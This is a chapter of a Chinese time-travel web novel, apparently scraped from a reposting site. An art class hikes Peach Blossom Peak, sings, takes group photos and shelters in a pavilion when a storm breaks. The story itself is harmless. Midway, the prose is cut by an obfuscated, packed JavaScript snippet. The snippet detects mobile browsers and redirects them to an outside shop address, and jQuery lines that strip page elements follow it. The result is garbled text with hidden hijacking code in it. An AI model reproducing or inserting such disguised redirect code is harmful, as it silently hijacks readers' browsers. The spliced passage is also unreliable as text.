93. 桃花尖
作品:《穿回年代文大佬的短命妻》 司机笑着插了一句,“唱歌可以,跳舞可不行。咱们马上就要过桃花涧了,再往上就是桃花尖。别看这片儿名字这么温柔,这山道可险着呢。要不然新江水库也不会选在这附近,每年要用桃花涧来泄洪。你们可都坐稳了。”
姚秀理直气壮,“看吧,师傅说跳舞不行,那就不能怪我了。”
“那就唱歌!”
“对!唱歌!”
姚秀站起来回了一句,“我敢唱,你们敢听吗?我跑调你们又不是不知道。”
“这不是还有林月溶吗?让她带着你唱。她弹钢琴那么好,唱歌一定行。”
“对,大一的时候她可是去过市里的元旦晚会的。”
林月溶长得好看,弹琴也好,大一就被选出来,代表艺术学院参加杭城市的元旦晚会。
本来塞给她的情书就多,晚会之后更多了。还是后来都被隋远当面截下过一次,两人又经常一起上学,在食堂吃饭什么的,送到她手上的情书才慢慢没踪迹了。
按道理来说,林月溶参加过市里的晚会,之后会有参加更好的活动的机会。但后来,不是跟那些不太要紧的活动冲突了,就是报名表交晚了或者丢了。工美一班的同学们这时候突然就琢磨明白了,之前张铁花嫉妒林月溶,怕是没少从中作梗。
“唱一个吧!”
“唱一个唱一个……”
掌声慢慢跟声音齐了,“唱一个唱一个……”
林月溶站起了身子。这些同学们的笑脸青涩又真诚,她突然就有些紧张,脸也红了,想说的话也卡住了。
“哦呦——”
好多同学善意地起哄。
这段时间发生了很多事情,林月溶在同学们的眼里一直都是从容又镇定。这时候因为被要求唱个歌而红了脸,倒是让他们觉得稀奇了。
林月溶攥了攥拳头,暗骂自己没出息。上辈子都是个成熟的社畜了,这辈子竟然在一群没毕业的大学生面前紧张了。
她重新放松下来,“大家一起唱吧!唱《友谊地久天长》。”
“你先唱!我们再跟。”
“对对对!”
林月溶不再推辞,清了清嗓子。
“怎能忘记旧日朋友,心中能不怀想,旧日朋友岂能相忘,友谊地久天长。友谊万岁,友谊万岁,举杯痛饮,同声歌颂友谊地久天长。”
同学们这时候才开始跟唱,掌声也跟了起来。
“我们也曾终日游荡在故乡的青山上,我们也曾历尽苦辛,到处奔波流浪。友谊万岁,友谊万岁,举杯痛饮,同声歌颂友谊地久天长……”
《友谊地久天长》唱完后,很快就有人起头,合唱了下一首。一首歌接着一首,合唱的声音高低不一,杂乱无章,却带着这个年纪特有的少年感。
一直到下了车,踩着露水上了山,还在继续唱。但爬了没多久,这合唱就彻底谢幕了。
原本打头带队的孟甜已经到了长队的中央,换成班里体力最好的罗东打头,班长吴越和王才一直在队伍的最后。
吴越眼看着队伍越拉越长,大声喊了罗东。
“罗东,你慢点儿,照顾一下大家的体力。”
罗东回头看了看,大声应了好。
他又道:“前面有个凉亭,到那了咱们就休息休息,都爬了一个多小时了。”
这个凉亭看起来有些年头了,处在一出缓坡之上,差不多将上山的路分成了两半,算是个路标。
工美一班的学生们凑在一起,互相分着自己带的好吃的,三三两两聊着天。
“这么看,咱们再爬一个小时就能到山顶了。”
“应该不能,这桃花尖前半段好爬,后半段不好爬。”
“我听说之前建造新江水库的时候调用了部队。那个部队隔一段时间会借桃花尖的地势训练。当然,他们爬野山道,跟咱们这种山道不一样的。”
“调用了部队?听起来好厉害。”
“部队的话应该有部队大院吧?废弃了?”
“应该吧!但是这种临时的部队驻扎用的大院应该跟真正驻地的不太一样。”
“我怎么觉得积在山顶的云越来越厚了啊?”
“天气不如那会儿好了,雾气好像也有点重了。”
“山上的天气本来就多变,所以孟老师才让咱们把雨衣都带着。”
“对。也说不准一会儿一阵风吹过,这云啊雾啊地就都散了。”
杭城的山上就是这样,雨说来就来,说走就走。
修整了一会儿,大家才沿着桃花林里的山道,继续往上爬。
到山顶后,所有人都屏住了呼吸。
桃花尖的山顶是一整块大石头形成的缓坡,站在不同的位置能看到不同角度的景色。
连绵的云层之下,天色微暗,似有若无的雾气缭绕,却更衬得连绵的桃花似雪如玉,成了这墨色天地中熠熠生辉的存在。
好久,此起彼伏的惊呼声才响起。
“这也太美了,谁能想到这种天气下的桃花尖是这样的。”
“晴天绝对没有这种意境。”
“那边是新江水库吗?”
“看起来很近。”
“水面好高啊!”
“现在还没到雨季,水面就这么高,怪不得要用桃花涧泄洪。”
新江水库在桃花尖的北边,一面巨大的凸面的镜子。
“大家要不要拍张合照?”
林月溶特意带了佳能的数码相机,想着多拍些照片,不仅能洗出来,也能留电子版的备份。
“要要!”
“月溶你考虑的也太周到了吧!”
“这种是不是不用怕浪费胶卷?”
“早知道你背着这么个沉家伙,就该让吴彬他们帮你背包。”
这种数码相机,对于大多数学生来说,算是比较贵重的东西,甚至很多人是第一次见到。
找了个合适的角度固定相机,站好队,林月溶设置了定时,连拍了很多全班的合照。拍完后,她晃了晃手里的相机,“你们谁想拍合照或者单人照都可以,回头可以洗出来。电子备份我也会交给孟老师,以后谁想一直保留都可以找她要。但是,你们得互相拍。”
“我们……自己互相拍?”
“自己?”
原本有很多同学想要林月溶帮自己拍照或者跟好朋友合照,不是很好意思开口。没想到林月溶竟然要把相机借给他们,让他们自己拍。
林月溶笑道:“我想画画。我先跟你们说怎么拍?”
一个女生大方着应声,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028394|185204||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“好啊好啊!你先教给我们几个,然后你就可以画画了。我们互相教。”
有了相机,还不怕浪费胶卷,每个人都拍了自己的单人照,也跟想合照的朋友合了照。
不知道怎么的,这相机兜兜转转,转了几圈,最后落到了周菊手里。
也就是周菊拍完后,再没有人接手了。
周菊很快就明白了大家的意思,她犹犹豫豫凑到了林月溶身边。
“谢谢。”
林月溶转头看了她一眼,视线很快又落回了纸上。
“不客气”
周菊把相机放到她旁边,又道:“我们拍完了。你收起来吧。这个还挺贵重的。”
“好的。”
“对不起。”
周菊说完,才转身跑了。
林月溶愣了一下,转身看过去。
不远处正在吃茶叶蛋的姚秀见状,气势汹汹跑到林月溶身边,“周菊又跟你说什么了?不要以为今天在外面写生,大家都高高兴兴的,我就不敢跟她吵吵。”
林月溶歪头,“她说,对不起?”
“……”
“她还挺可爱的。”
“……”
二十出头呆在象牙塔里的大学生,面对花花世界,有些遮不住的小心思也是正常的。
肯直面自己的真实想法,肯承认错误,就是可爱的。
周菊把相机放下后,很快又有同学重新凑了上来。
林月哭笑不得。
合着周菊的真心道歉是他们联合起来给自己的“感谢费”?
“你们随便用。”
云一直没有要散的意思,下山之前,不过几个呼吸,云层的颜色就深了,雾气也升腾了起来。
林月溶看着快要压下来的云层,低声建议了孟甜,“孟老师,让大家先穿上雨衣吧。”
孟甜不是杭城本地的,一开始还真没想到这一层。但她也来杭城半年了,见过这种厚度的云层。万一雨来了,再穿雨衣根本来不急。
她赶忙招呼了大家穿雨衣,“咱们有备无患。山里的气温低,淋湿了就麻烦了。”
穿好雨衣修整好后,大家沿着原路下山。
行至半路,桃花林响起了簌簌声,越来越近也越来越大。
起风了,桃花被吹得纷纷扬扬。
几乎是风刚沿着山脊刮过,大雨就兜头而下,不过几个呼吸的功夫,便成了暴雨。
能见度骤然降低,很快视线就全部被雨遮住了。
打头的罗东当即转身,抓住了身后的同学,“大家抓住离得最近的人,互相搀扶。”
队伍中间的林月溶和最后的吴越也是同样的做法。
他们三个是之江的,这么险的山道,下过雨后会很滑,一不留神就会摔下去。
还好这个位置离中间段的凉亭不远,一行人互相搀扶着挪到了凉亭。
雨依旧很大,凉亭的位置还算是背风,虽然遮不住全部的雨,但比留在山道上要好了很多。
“26个。”
“26个。”
“26个。”
孟甜、吴越和罗东数了一遍人数,确定一个没少,都松了一口气。
突然,巨大的隆隆声从北面传来,凉亭的台基跟着晃动了一下。

